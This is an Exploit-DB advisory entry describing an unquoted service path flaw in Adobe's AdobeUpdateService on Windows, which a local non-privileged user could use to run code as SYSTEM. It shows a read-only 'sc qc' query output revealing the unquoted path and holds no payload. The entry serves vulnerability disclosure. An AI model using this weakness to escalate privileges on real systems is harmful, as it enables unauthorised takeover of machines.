AdobeUpdateService - Unquoted Service Path Privilege Escalation

ID EDB-ID:39954
Type exploitdb
Reporter Cyril Vallicari
Modified 2016-06-15T00:00:00


AdobeUpdateService - Unquoted Service Path Privilege Escalation. Local exploit for windows platform

# Exploit Title:  AdobeUpdateService  - Privilege Escalation Unquoted Service Path vulnerability
# Date: 18/05/2016
# Exploit Author : Cyril Vallicari
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# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)

The application suffers from an unquoted search path issue impacting the service 'AdobeUpdateService' for Windows deployed as part of Adobe Creative Cloud

This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges on the system.


C:\Users\Utilisateur>sc qc AdobeUpdateService

[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: AdobeUpdateService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AdobeUpdateService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

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